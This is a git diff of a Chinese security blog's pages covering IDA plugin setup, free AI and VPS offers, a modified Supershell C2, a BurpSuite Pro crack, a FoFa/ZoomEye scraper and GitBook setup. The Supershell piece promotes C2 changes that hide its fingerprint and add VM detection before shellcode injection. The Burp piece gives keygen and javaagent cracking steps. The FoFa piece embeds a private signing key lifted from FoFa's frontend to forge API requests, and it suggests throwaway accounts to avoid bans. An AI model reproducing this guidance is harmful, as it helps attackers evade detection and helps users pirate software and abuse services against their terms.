自行设置接入点名称,模型,确认接入

+

img

+

选择模型

+

选择模型

+

创建好后复制模型id和之前的API Key

+

模型id

+

image-20250916235303441

+

12.HexRaysCodeXplorer插件安装​

+

自动识别结构体,显示C++虚函数,生成函数结构树等

+

https://www.52pojie.cn/forum.php?mod=viewthread&tid=1999905&highlight=HexRaysCodeXplorer

+

将HexRaysCodeXplorer64.dll直接复制到plugins目录下即可

+

image-20250917091822509

+

13.DA-DataExportPlus插件安装​

+

https://github.com/Krietz7/IDA-DataExportPlus

+

一个用于导出数据的IDA PRO插件,它可以替换IDA Pro原始的数据导出窗口。 该插件支持基于不同数据类型的数据导出,包括不同大小的整数和浮点类型。除此之外也支持导出汇编代码。

+

将dataexportplus.py复制到IDA插件目录下即可

+

使用方法

+

使用快捷键Shift+E以唤出插件窗口

+

14.findcrypt-yara 插件安装​

+

常见加密算法识别

+
https://github.com/polymorf/findcrypt-yara
+

将findcrypt3.py和findcrypt3.rules复制到ida/plugins目录下

+

image-20250917093529299

+

然后在python的安装目录下的\Lib\site-packages下会有一个yara.cp310-win_amd64.pyd文件,将该文件复制到`\IDA\python\lib-dynload下,然后重启IDA即可生效。

+

image-20250917093722785

+

image-20250917093743407

+

15.VulFi插件安装​

+

VulFi,即“漏洞发现者”,它是一个IDA Pro插件,可以帮助广大研究人员在二进制文件中查找漏洞

+
https://github.com/Accenture/VulFi
+

将vulfi.py、vulfi_prototypes.json和vulfi_rules.json文件放在ida/plugins目录下

+

image-20250917095110444

+

16.SigMaker插件安装​

+

用于快速创建某一个函数的字节序列(函数签名),可用于二进制程序之间的相似函数识别。

+

将SigMaker9_64.dll文件复制到ida/plugins目录下即可

+

image-20250917100448128

+

17.idaclu插件安装​

+

大量函数中可以对函数进行分类,这样就可以知道哪些函数不太平常,有助于快速定位关键函数。

+
https://codeload.github.com/harlamism/IdaClu/zip/refs/tags/v1.1
+

将 idaclu.py 文件和 idaclu 文件夹复制到 IDA Pro 插件目录即可

+

image-20250917101031082

+

18.bindiff插件安装​

+

将binexport12_ida64.dll和bindiff8_ida64.dll复制到ida/plugins即可

+

image-20250917102521421

+

image-20250917102547530

+

19.ida-pro-mcp插件的安装和使用​

+

前提条件需要安装Git-2.51.0-64-bit

+

image-20250917111923808

+

2.进入python311目录并打开终端

+

安装MCP

+
 python.exe -m pip install --upgradegit+https://github.com/mrexodia/ida-pro-mcp
+

image-20250917111834454

+

进入IDAPython的Scripts目录运行ida-pro-mcp.exe进行安装

+

image-20250917112116820

+

前提需要安装过vs code和cline

+

这里直接安装VSCodeUserSetup-x64-1.104.0.exe就行

+

image-20250917122916258

+

然后输入以下地址

+

https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev

+

点击install进行安装

+

image-20250917113845728

+

或者打开Vscode的左侧扩展菜单栏,搜索Cline,点击安装Cline。

+

image-20250917123034976

+

然后使用以下命令进行安装ida-pro-mcp

+

python311\Scripts\ida-pro-mcp.exe --install

+

image-20250917114542998

+

安装成功后,点击左侧的Cline菜单栏配置大模型的API。将API Provider选择为DeepSeek,键入DeepSeek API Key值。(你也可以选择其它的API提供商及其API Key)这里我使用的抖音的火山方舟的API引用(前面已经讲过怎么去注册)

+

image-20250917133930243

+

或者使用本地ollam模型

+

image-20250917124817498

+

到IDA中启动MCP-Server(编辑–插件–MCP)

+

IDA-MCP-ida-启动mcp-server

+

image-20250917114852108

+

在Cline的界面上下都可以找到服务器图标,点击添加MCP服务器,添加成功后,就可以启用,开关变“绿色”:

+

image-20250917123458381

+

可以看到成功进行联动

+

image-20250917133840479

+

本文相关的工具下载地址:请关注公众号,关键字回复“20251105”

+ + \ No newline at end of file diff --git a/docs/个人知识库/公众号文章/Perplexity Pro免费获取一年订阅/index.html b/docs/个人知识库/公众号文章/Perplexity Pro免费获取一年订阅/index.html new file mode 100644 index 0000000..a2468f4 --- /dev/null +++ b/docs/个人知识库/公众号文章/Perplexity Pro免费获取一年订阅/index.html @@ -0,0 +1,63 @@ + + + + + +Perplexity Pro免费获取一年订阅 | wjlin0 + + + + + + + +

Perplexity Pro免费获取一年订阅

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-02 05:51:51
+

大家好,我是 小王说安全! +今天给大家带来一个重磅福利:你可以免费获得一年的 Perplexity Pro 订阅服务!价值240 美元(约人民币 1700 元),免费使用Perplexity Pro、GPT-5、Grok 4、Claude Sonnect 4.5 、Gemini 2.5 Pro 等最新大模型。虽然需要满足一些条件才能领取,但几乎所有人都能达成,非常划算。好了,废话不多说,我们现在就开始吧!

+

领取优惠条件​

+

首先我们打开一个活动页面(由于公众号原因,无法直接展示链接。我把放到公众号消息里了,关注公众号小王说安全,回复【Perplexity】即可获得),可以看到仅限PayPal用户(这里说明一下,PayPal 账户是无任何地区限制的,甚至是中国地区)

+

image-20251102045928005

+

当我们继续点开下方的使用条款,可以看到 2025 年 9 月 1 日前,注册PayPal 的用户即可免费直接获取,而未注册的也不用担心,只需注册一个月后就可再次回到这个页面领取了,并且截止时间是 2025 年 12 月 31 日,所以还没有账户的朋友,可以不着急等注册好后Paypal ,一个月后领取。

+

image-20251102050042247

+

由于我直接是领取,无法记录完整的领取过程,可以看到我是直接获得了一年的资格

+

image-20251102050448408

+

取消一年后的自动扣费​

+

为了避免一年后扣你 PayPal 的马内,我们还是需要取消订阅的。这跟国内的自动扣费是一个道理,首先打开perplexity界面,左下角点击头像->账户

+

image-20251102053130311

+

弹出的界面中选择管理订阅

+

image-20251102053054657

+

点击取消订阅即可,放心这里不会取消你现在的 Pro 会员。只是取消自动扣款而已

+

image-20251102053249160

+

Perplexity 可以干啥呢?​

+

Perplexity 是一个“对话式搜索引擎+信息来源引用”的 AI 工具,优势在于实时检索、结果带来源、并以对话形式给出整合性的信息摘要,与纯聊天型 AI相比更适合需要可核验的最新信息与研究资料的场景。说大白话就是,相较于其他 AI,它会结合各类搜索结果进行进行总结输出报告、新闻、信息摘要等。

+

image-20251102051649779

+

那么我们简单来使用一下,我让他使用搜索功能,帮我总结每日一报的信息。首先点击空间->创建新空间

+

image-20251102052110284

+

输入以下提示词

+
角色设定:
你是一名资深新闻编辑与时事分析专家,负责每天为读者提供全球及国内主要新闻事件的精炼总结与趋势洞察。
你的目标是帮助读者在几分钟内了解当天最重要的新闻动态。

🎯 任务目标:

请根据今日的新闻内容(或从指定来源提取的新闻),生成一份每日新闻总结报告,要求如下:

内容结构清晰、有层次,用分段标题呈现。

每条新闻需包含以下要素:

🕓 事件时间与背景

🌍 主要人物 / 机构

📌 核心事件及发展

📊 影响与意义

对所有新闻进行主题归纳与趋势分析(如政治、经济、科技、社会、国际等)。

语气保持中立、专业、简洁,避免主观评论。

在结尾添加一段 「综合分析 / 明日展望」(50–100字)。
+

image-20251102052306129

+

然后在对话框中输入**生成关于 2025 年 10 月 31 日的新闻.**可以看到它结合了很多政府网站的实时报道和各类数据源的搜索结果。

+

image-20251102052545888

+

这是它的搜索结果

+

image-20251102052642142

+

Perplexity Pro 真的值得领取吗?​

+

我的回答是当然的!反正他是免费的不用白不用是吧,何况在他的界面中,你还可以用到 GPT-5、Claude Sonnect 4.5

+

image-20251102053556576

+

总结​

+

那么今天的分享就到这里~ 如果你也想免费领取一年 Perplexity Pro,或者想了解更多AI 工具与安全福利,记得关注小王说安全,带你解锁更多隐藏福利,玩转前沿科技! 回复【Perplexity】,获取领取地址

+ + \ No newline at end of file diff --git a/docs/个人知识库/公众号文章/Supershell二开修改/index.html b/docs/个人知识库/公众号文章/Supershell二开修改/index.html new file mode 100644 index 0000000..14bd7b7 --- /dev/null +++ b/docs/个人知识库/公众号文章/Supershell二开修改/index.html @@ -0,0 +1,58 @@ + + + + + +Supershell二开修改!自定义路由+防溯源 | wjlin0 + + + + + + + +

Supershell二开修改!自定义路由+防溯源

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-03 15:38:42
+
+

由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

+
+

大家好,我是小王说安全!Supershell 是一个通过WEB服务访问的C2远控平台,通过建立反向SSH隧道,获取完全交互式Shell,支持多平台架构Payload。但由于他的 Web 指纹实在是搜索过于简单,一条fofa 命令即可查出来。导致隐秘性大大降低。今天给大家带来的是Supershell的二次修改版本,在原有基础上,增加了前置防御、和任意修改后端路由、虚拟机检测。本文用到的 Supershell,是我亲自修改,并且完全免费给到大家,工具我已经放在百度网盘,公众号回复【Supershell二开】即可获得下载链接。

+

前置防御​

+

image-20251103145055987

+

可以看到,加入了前置防御后,不会暴露网站的所有的内容,并且与原有的登录账号隔离开来,你不必担心nginx 的账号泄露后,对整个系统的安全受到影响。

+

路由修改​

+

这一部分,我针对登录接口,和后台路径做了限制,当你直接访问你的 Supershell时,你会发现,如果你没有登录,你会跳转到/supershell/login 这个路径,这直接暴露了你后台的地址。其他的人可以直接爆破这个接口,从而控制的 C2 服务器。

+

image-20251103150131160

+

这是修改后的访问,可以很明显的看到,即使没有 前置防御别人也能难猜到你的后台路由。

+

image-20251103145859921

+

我们可以对这个后台路由任意修改,例如我们修改成/aaaaa,并重新启动容器

+

image-20251103150323858

+
docker-compose down && docker-compose up -d
+

重新启动后,我们访问http://172.20.10.13:8888/aaaaa/login,就会弹出登录界面了

+

image-20251103150459347

+

虚拟机检测​

+

在原有的客户端代码中修改了 main 函数的逻辑,在注入 ShellCode前,检测了是否为虚拟机环境(如果你不需要虚拟机检测,只需要注释下面图片中圈起来的代码即可,不需要重启环境)

+

image-20251103150716899

+

可以看到我是用一个虚拟机运行,直接会退出程序

+

image-20251103150802073

+

使用一个真机运行,直接就运行成功了

+

image-20251103150901565

+

并且后台也是能够查询到的

+

image-20251103151145829

+

总结​

+

那么今天的分享就到这里~ 如果你也想获得 Supershell 二次修改后的源码,或者想了解更多AI 工具与安全福利,记得关注小王说安全,带你解锁更多隐藏福利,玩转前沿科技! 回复【Supershell二开】,获取领取地址

+ + \ No newline at end of file diff --git a/docs/个人知识库/公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机/index.html b/docs/个人知识库/公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机/index.html new file mode 100644 index 0000000..faa0114 --- /dev/null +++ b/docs/个人知识库/公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机/index.html @@ -0,0 +1,63 @@ + + + + + +【白嫖】免费领取 Atlantic 一年 | 美国| 加拿大|英国|VPS云主机 | wjlin0 + + + + + + + +

【白嫖】免费领取 Atlantic 一年 | 美国| 加拿大|英国|VPS云主机

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-10 18:33:19
+

大家好,我是 小王说安全! +今天给大家带来一个重磅福利:你可以免费获得一年的 Atlantic VPS 云主机,Atlantic是一家拥有近30年历史的美国云计算和托管提供服务商。在美国旧金山、达拉斯、纽约、奥兰多、阿什本、加拿大多伦多、英国伦敦等地均有数据中心。新用户免费一年(12 个月)VPS 2G RAM、1CPU、50G SSD、3T流量 和 50GB 块存储活动,以及2个月250刀的额度。领取地址在文章结尾,废话不多说我们正式开始

+

领取条件​

+
    +
  • 一张支持外币支付的中国区的信用卡
  • +
+

外币支付信用卡领取教程​

+
+

这部分可选择招商的 Visa 卡 ,这个是必要的,接下来我还会分享其他的白嫖教程,所以需要用到此卡

+
+
https://cc.cmbchina.com/card/
+

image-20251110152241394

+

领取实操​

+

image-20251110162736930

+

登录atlantic的官网注册账户,并验证邮箱

+

image-20251110162625830

+

如实填写地址,和外币信用卡

+

image-20251110162820407

+

image-20251110163049139

+

点击完成后,接下来你注册的账号中会收到一封邮箱,我们点击验证支付方式

+

image-20251110163224527

+

点击后,你的信用卡会收到一笔绑定扣款费用,并填写在该页面中,并根据页面要求,填写对应的代码

+

image-20251110163639675

+

image-20251110163740314

+

稍微等待一会,即可审核通过成功

+

image-20251110163819728

+

image-20251110163926943

+

到此我们的账户注册成功,信用卡会扣除0.89美元的授权费,过几天会退回来,我们等待一会(我大概等了半小时)

+

注意事项​

+

image-20251110151606280

+

后续无需使用印度或你当前选择的地区节点,其他地区的节点均可

+

总结​

+

如果你也想免费领取一年 ChatGPT Go 套餐 ,则需要前置的三个条件,记得关注小王说安全,带你解锁更多隐藏福利,玩转前沿科技!

+ + \ No newline at end of file diff --git a/docs/个人知识库/公众号文章/最新BurpSuite2025.10专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境/index.html b/docs/个人知识库/公众号文章/最新BurpSuite2025.10专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境/index.html new file mode 100644 index 0000000..1954f48 --- /dev/null +++ b/docs/个人知识库/公众号文章/最新BurpSuite2025.10专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境/index.html @@ -0,0 +1,69 @@ + + + + + +最新BurpSuite2025.10专业版(更新)下载Windows/Linux/Mac.最新版无需 Java 环境 | wjlin0 + + + + + + + +

最新BurpSuite2025.10专业版(更新)下载Windows/Linux/Mac.最新版无需 Java 环境

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-04 17:57:00
+

大家好,我是小王说安全,今天给大家带来一份面向渗透测试/应用安全工程师的 Burp Suite 2025.10 专业版 安装与插件配置 全流程指南(含 Windows / macOS / Linux),并且后续更新 Burp 只需要下载 双击 Burp 最新安装包,即可更新,无需任何配置。

+

本次分享的 BurpSuite 2025.10 专业版完整资源(含安装程序、教程、插件集)均已打包上传至百度网盘。有需要的朋友,请关注公众号 “小王说安全”,在后台回复关键词 【BurpSuite2025.10】,即可获取下载链接!

+

【温馨提示】 本资源仅供安全研究与学习之用,请勿用于非法用途

+

WINDOWS安装教程​

+

首先我们下载对应系统的安装包,例如我是 windows amd64 架构的系统,我选择下载 burpsuite_pro_windows-x64_v2025_10_1.exe 、 burpsuitloader-4.11.22-all.jar、burpsuite hash.txt

+

计算其 安装包的md5是否与官网提供的md5一致

+

PS C:\Users\Administrator\Downloads> Get-FileHash -Path "burpsuite_pro_windows-x64_v2025_10_1.exe" -Algorithm MD5

Algorithm Hash Path
--------- ---- ----
MD5 646508514E8FBB19224BC7F118840931 C:\Users\Administrator\Downlo...


PS C:\Users\Administrator\Downloads>
+

image-20251104172707465

+

若 md5 值匹配了就选择双击安装包,并选择安装位置。

+

image-20251104173412093

+

安装完成后,将burpsuitloader-4.11.22-all.jar 移动到 Burp 的安装目录

+

image-20251104173548153

+

然后,将下面的文件替换成下方的内容

+
C:\Program Files\BurpSuitePro\BurpSuitePro.vmoptions
+
-XX:MaxRAMPercentage=50
-include-options settings.vmoptions
-include-options user.vmoptions
--add-opens=java.desktop/javax.swing=ALL-UNNAMED
--add-opens=java.base/java.lang=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED
-noverify
-javaagent:burpsuitloader-4.11.22-all.jar=loader,han
+

image-20251104173637566

+

然后找到 burp 安装包安装的 java.exe,它位于目录下的这个文件中,启动注册机

+
& "C:\Program Files\BurpSuitePro\jre\bin\java.exe" -jar .\burpsuitloader-4.11.22-all.jar
+

MACOS 安装教程​

+

首先我们下载对应系统的安装包,例如我是 macos m2 架构的系统,我选择下载 burpsuite_pro_macos_arm64_v2025_10_1.dmg 、 burpsuitloader-4.11.22-all.jar、burpsuite hash.txt

+

计算其 安装包的md5是否与官网提供的md5一致

+
➜ ~ md5sum burpsuite_pro_macos_arm64_v2025_10_1.dmg
4ddf2e8f7ca2c11a3f9dc46e75e594db burpsuite_pro_macos_arm64_v2025_10_1.dmg
+

image-20251104170936843

+

image-20251104171034781若你的安装包的 md5 与官网提供的不一致,那么请不要安装

+

双击安装包,将 Burp Suite Professional.app 移动到 Applications

+

image-20251104171254485

+

然后将burpsuitloader-4.11.22-all.jar 移动到 /Applications/Burp Suite Professional.app/Contents/Resources/app目录下

+
cp burpsuitloader-4.11.22-all.jar '/Applications/Burp Suite Professional.app/Contents/Resources/app'
+

然后,将下面的文件替换成下方的内容

+
/Applications/Burp Suite Professional.app/Contents/vmoptions.txt
+
-XX:MaxRAMPercentage=50
-include-options settings.vmoptions
-include-options user.vmoptions
--add-opens=java.desktop/javax.swing=ALL-UNNAMED
--add-opens=java.base/java.lang=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED
-noverify
-javaagent:burpsuitloader-4.11.22-all.jar=loader,han
+

然后打开注册机,运行一下命令

+
cd "/Applications/Burp Suite Professional.app/Contents/Resources/app" && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" -jar burpsuitloader-4.11.22-all.jar
+

如果出现以下错误

+

197393162-cdd3be46-6e33-42e2-8c62-773a991ba59d

+

运行

+
sudo xattr -r -d com.apple.quarantine /Applications/Burp\ Suite\ Professional.app
+

总结​

+

虽然安装步骤些许繁琐,好在不依赖任何环境,你可以移除任何Java 环境,并且后续更新,双击 Burp 最新安装包,即可更新,无需重复激活。那么回复【BurpSuite2025.10】即可领取上述的所有安装环境教程、以及所用到的 Burp 插件

+ + \ No newline at end of file diff --git a/docs/个人知识库/工具分享/FoFa爬虫/index.html b/docs/个人知识库/工具分享/FoFa爬虫/index.html new file mode 100644 index 0000000..b52310a --- /dev/null +++ b/docs/个人知识库/工具分享/FoFa爬虫/index.html @@ -0,0 +1,81 @@ + + + + + +FoFa爬虫 | wjlin0 + + + + + + + +

FoFa爬虫

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:38:46
+

FoFa爬虫API进一步研究

+

前沿​

+

几年前我在博客上发表一个文章,就是 基于fofa爬虫获取URL(感兴趣可以去回看一下) ,但是那个是基于Selenium,由于这个东西爬起来过慢,而且内存开销很大,还是python实现的,我满脸的嫌弃,为了提升爬取的速度,所以就有了这篇文章的诞生。

+

分析​

+

在上一篇文章中提到,由于匿名用户只能访问前五页~~(现在只能获取前面一页的内容了,真该死)~~的内容,所以无法获取到更多内容,然而由于资源会分布在不同城市,那么可以利用这一特点,只要获取到这个城市列表,利用链接依次爬取就可以了,如下图所示。

+

image-20240318224918094

+

之前是利用的Selenium来获取的页面内容,然而这种速度太慢了,于是我分析了它的JS发现,于是发现了这个接口https://api.fofa.info/v1/search/stats,如下图

+

image-20240318225530820

+

但是你可以发现它的参数进行了校验的。

+

image-20240318225556649

+

当你找寻着个源码,你会发现,这个是rsa的签名认证。而且私钥也是存在的,所以说这里看一下他是如何加密的就可以了。

+

image-20240318230212922

+

我们跟进这个 i.$sortFun函数看一下

+

他是按照顺序排列的这个e ,然后i += "".concat(e).concat(n[e])进行拼接,最后得出结果

+

image-20240318230525478

+

fullfalseqbase64ImJhaWR1LmNvbSI=ts1710774077895

+

这个结果你会发现,ts是当前的时间戳,而这个qbase64就是我们查询的语句,所以说只需要写一下rsa-sha256加密就可以了

+

如下go语言简单实现

+
package main

import (
"crypto"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/base64"
"encoding/json"
"encoding/pem"
"errors"
"fmt"
"github.com/projectdiscovery/retryablehttp-go"
"net/http"
"sort"
"strconv"
"time"
)

const (
private = "-----BEGIN RSA PRIVATE KEY-----\r\nMIIEogIBAAKCAQEAv0xjefuBTF6Ox940ZqLLUFFBDtTcB9dAfDjWgyZ2A55K+VdG\r\nc1L5LqJWuyRkhYGFTlI4K5hRiExvjXuwIEed1norp5cKdeTLJwmvPyFgaEh7Ow19\r\nTu9sTR5hHxThjT8ieArB2kNAdp8Xoo7O8KihmBmtbJ1umRv2XxG+mm2ByPZFlTdW\r\nRFU38oCPkGKlrl/RzOJKRYMv10s1MWBPY6oYkRiOX/EsAUVae6zKRqNR2Q4HzJV8\r\ngOYMPvqkau8hwN8i6r0z0jkDGCRJSW9djWk3Byi3R2oSdZ0IoS+91MFtKvWYdnNH\r\n2Ubhlnu1P+wbeuIFdp2u7ZQOtgPX0mtQ263e5QIDAQABAoIBAD67GwfeTMkxXNr3\r\n5/EcQ1XEP3RQoxLDKHdT4CxDyYFoQCfB0e1xcRs0ywI1be1FyuQjHB5Xpazve8lG\r\nnTwIoB68E2KyqhB9BY14pIosNMQduKNlygi/hKFJbAnYPBqocHIy/NzJHvOHOiXp\r\ndL0AX3VUPkWW3rTAsar9U6aqcFvorMJQ2NPjijcXA0p1MlZAZKODO2wqidfQ487h\r\nxy0ZkriYVi419j83a1cCK0QocXiUUeQM6zRNgQv7LCmrFo2X4JEzlujEveqvsDC4\r\nMBRgkK2lNH+AFuRwOEr4PIlk9rrpHA4O1V13P3hJpH5gxs5oLLM1CWWG9YWLL44G\r\nzD9Tm8ECgYEA8NStMXyAmHLYmd2h0u5jpNGbegf96z9s/RnCVbNHmIqh/pbXizcv\r\nmMeLR7a0BLs9eiCpjNf9hob/JCJTms6SmqJ5NyRMJtZghF6YJuCSO1MTxkI/6RUw\r\nmrygQTiF8RyVUlEoNJyhZCVWqCYjctAisEDaBRnUTpNn0mLvEXgf1pUCgYEAy1kE\r\nd0YqGh/z4c/D09crQMrR/lvTOD+LRMf9lH+SkScT0GzdNIT5yuscRwKsnE6SpC5G\r\nySJFVhCnCBsQqq+ohsrXt8a99G7ePTMSAGK3QtC7QS3liDmvPBk6mJiLrKiRAZos\r\nvgPg7nTP8VuF0ZIKzkdWbGoMyNxVFZXovQ8BYxECgYBvCR9xGX4Qy6KiDlV18wNu\r\nElYkxVqFBBE0AJRg/u+bnQ9jWhi2zxLa1eWZgtss80c876I8lbkGNWedOVZioatm\r\nMFLC4bFalqyZWyO7iP7i60LKvfDJfkOSlDUu3OikahFOiqyG1VBz4+M4U500alIU\r\nAVKD14zTTZMopQSkgUXsoQKBgHd8RgiD3Qde0SJVv97BZzP6OWw5rqI1jHMNBK72\r\nSzwpdxYYcd6DaHfYsNP0+VIbRUVdv9A95/oLbOpxZNi2wNL7a8gb6tAvOT1Cvggl\r\n+UM0fWNuQZpLMvGgbXLu59u7bQFBA5tfkhLr5qgOvFIJe3n8JwcrRXndJc26OXil\r\n0Y3RAoGAJOqYN2CD4vOs6CHdnQvyn7ICc41ila/H49fjsiJ70RUD1aD8nYuosOnj\r\nwbG6+eWekyLZ1RVEw3eRF+aMOEFNaK6xKjXGMhuWj3A9xVw9Fauv8a2KBU42Vmcd\r\nt4HRyaBPCQQsIoErdChZj8g7DdxWheuiKoN4gbfK4W1APCcuhUA=\r\n-----END RSA PRIVATE KEY-----"
appId = "9e9fb94330d97833acfbc041ee1a76793f1bc691"
stats = "https://api.fofa.info/v1/search/stats?qbase64=%s&full=%v&fields=%s&ts=%v&sign=%s&app_id=%s"
URL = "https://fofa.info/result?qbase64=%s&page=%d&page_size=%d"
)

type fofaRequest struct {
Query string `json:"query"`
Page int `json:"page"`
PageNum int `json:"page_num"`
}

var rsaPrivateKey *rsa.PrivateKey

func init() {
rsaPrivateKey, _ = parsePKCS1PemByPrivateKey([]byte(private))
}

type foFaStatsResponse struct {
Code int `json:"code,omitempty"`
Message string `json:"message,omitempty"`
Data interface{} `json:"data,omitempty"`
}

type data struct {
Size int `json:"size"`
Page int `json:"page"`
Countries []country `json:"countries"`
}

type country struct {
Code string `json:"code"`
Name string `json:"name"`
Count int `json:"count"`
Regions []region `json:"regions"`
}
type region struct {
Code string `json:"code"`
Count int `json:"count"`
Name string `json:"name"`
}

func serialize(h map[string]any) string {
var keys []string
for k, _ := range h {
keys = append(keys, k)
}
sort.Strings(keys)
s := ""
for _, k := range keys {
switch h[k].(type) {
case string:
if h[k] == "" {
continue
}
}
s += fmt.Sprintf("%s%v", k, h[k])
}
return s
}

func hashWithSha256(b []byte) (hashed []byte) {
myHash := sha256.New()
myHash.Write(b)
return myHash.Sum(nil)
}
func parsePKCS1PemByPrivateKey(b []byte) (*rsa.PrivateKey, error) {
p, _ := pem.Decode(b)
if p == nil {
return nil, errors.New("pem格式错误")
}
private, err := x509.ParsePKCS1PrivateKey(p.Bytes)
if err != nil {
return nil, err
}
return private, nil
}

func signQuery(str string) (string, error) {
hashed := hashWithSha256([]byte(str))
v15, err := signPKCS1v15(rsaPrivateKey, crypto.SHA256, hashed)
if err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(v15), nil
}
func signPKCS1v15(private *rsa.PrivateKey, hash crypto.Hash, hashed []byte) (sign []byte, err error) {
return rsa.SignPKCS1v15(rand.Reader, private, hash, hashed)
}

func main() {
fofaResponse := &foFaStatsResponse{}
m := make(map[string]interface{})
ts := strconv.FormatInt(time.Now().Unix(), 10)
qbase64 := "baidu.com"
qbase64 = base64.StdEncoding.EncodeToString([]byte(qbase64))
m["qbase64"] = qbase64
m["full"] = false
m["fields"] = ""
m["ts"] = ts
sign, err := signQuery(serialize(m))
if err != nil {
panic(err)
}
STATS := fmt.Sprintf(stats, qbase64, false, "", ts, sign, appId)
request, err := retryablehttp.NewRequest(http.MethodGet, STATS, nil)
if err != nil {
panic(err.Error())
}
request.Header.Set("Referer", "https://fofa.info/")
resp, err := retryablehttp.DefaultHTTPClient.Do(request)
if err != nil {
panic(err.Error())
}
if err := json.NewDecoder(resp.Body).Decode(fofaResponse); err != nil {
panic(err.Error())
}
if fofaResponse.Code == -9 {
panic(fofaResponse)
}
switch fofaResponse.Data.(type) {
case string:
panic(fofaResponse.Message)
default:

if temp, ok := fofaResponse.Data.(map[string]interface{}); !ok {
fmt.Println(fofaResponse.Data)
panic(errors.New("错误的对象"))
} else {
fmt.Println(temp)
}
}

}

+

image-20240318233451482

+

最后简单整合到工具里,就可以一键使用了,目前已经实现了,在我的pathScan或uncover 里面的fofa-spider

+

使用也很简单

+
uncover -fofa-spider domain="baidu.com"
或者
pathScan -uq 'domain="baidu.com"' -ue fofa-spider -silent
+

image-20240319002657624

+

image-20240319003509717

+

当然具体用法可以参考pathScan中的参考命令

+

Cookie的实现​

+

由于不加cookie的每个国家只能访问一页的资源所以就很难受,特地加了环境变量FOFA_COOKIE,来获取身份,所以只需要把登陆后的cookie复制出来,利用环境变量 在运行pathScan或uncover前,就可以每个城市读5页甚至更多,如下代码

+
export FOFA_COOKIE="your cookies" uncover -fofa-spider domain="baidu.com" 
或者
export FOFA_COOKIE="your cookies" pathScan -uq 'domain="baidu.com"' -ue fofa-spider -silent
+

⚠️但要注意的是,加了cookie后 用的次数过多会存在封号的可能,所以每次运行可以通过临时邮箱建立一个账户,再把cookie加进去,就没事了

+

提问​

+

如果对这个爬虫的api调用有问题,欢迎邮件提问 support@wjlin0.com或者support2@wjlin0.com 我会第一时间回复的

+

Zoomeye爬虫的研究

+

前沿​

+

对fofa爬虫实现后,我特地去看了一下zoomeye的,发现他没有这个api的签名校验,并且它的数据获取完全可以通过调用api来实现。

+

如下图所示,这里可以通过调用/api/search来获取结果

+

image-20240319173639944

+

分析​

+

还是与fofa的思想一样 获取城市信息再逐一爬取,并且我发现,zoomeye还精细了省级和市级行政划分。

+

image-20240319173751654

+

这样与fofa相比代码就更加简单了,但是我在爬取的过程中,发现有创宇盾的拦截,会限制请求速率,这没办法了只能控制请求速度了。

+

image-20240319193547615

+

Cookie的实现​

+

与fofa的实现类似,需要登陆后,将cookie设置环境变量

+

⚠️ 这样可能导致封号的处理,请谨慎使用

+
export ZOOMEYE_COOKIE="your cookies" uncover -zoomeye-spider baidu.com
或者
export ZOOMEYE_COOKIE="your cookies" pathScan -ue zoomeye-spider -uq baidu.com -silent
+

工具项目地址

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/工具分享/GitBook安装/index.html b/docs/个人知识库/工具分享/GitBook安装/index.html new file mode 100644 index 0000000..be67b61 --- /dev/null +++ b/docs/个人知识库/工具分享/GitBook安装/index.html @@ -0,0 +1,198 @@ + + + + + +安装Gitbook | wjlin0 + + + + + + + +

安装Gitbook

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:38:07
+
+

注意:用的命令行尽量用powershell 有些命令cmd 用不了

+

比如:mv等 +1

+
+

安装Gitbook所需工具​

+

安装gitbook-cli​

+

用于gitbook 命令行的安装

+
npm install gitbook-cli -g
gitbook --version
+

image-20221129215233580

+

安装gitbook summary​

+

用于自动生成Summary.md,该文件为目录文件

+
npm install -g gitbook-summary
book --version
+

image-20221129220021247

+

创建项目​

+

编写book.json​

+
+

用来导入插件 或指定全局配置,至于每个插件的用法可百度查询或在这个文章中查看。

+
+
{
"title": "Wjlin0 Gitbook",
"author":"Wjlin0",
"description":"记录学习笔记",
"language":"zh-hans",
"root":"./docs",
"links" : {
"sidebar" : {
"博客地址" : "https://wjlin0.com"
}
},

"plugins" : [
"back-to-top-button",
"expandable-chapters",
"github-buttons",
"copy-code-button",
"page-footer-ex",
"anchor-navigation-ex",
"-lunr",
"-search",
"hide-element",
"search-pro",
"donate",
"splitter",
"github",
"-sharing",
"sharing-plus",
"custom-favicon",
"page-treeview",
"flexible-alerts"
],
"pluginsConfig": {
"github": {
"url": "https://github.com/wjlin0"
},
"page-treeview": {
"copyright": "Copyright &#169; wjlin0",
"minHeaderCount": "2",
"minHeaderDeep": "2"
},
"favicon": "./favicon.ico",
"hide-element": {
"elements": [".gitbook-link",".treeview__copyright",".treeview__main-title"
]
},
"github-buttons": {
"buttons": [{
"user": "wangzhebufangqi",
"repo": "ActionTest",
"type": "star",
"size": "small"
}]
},
"page-footer-ex": {
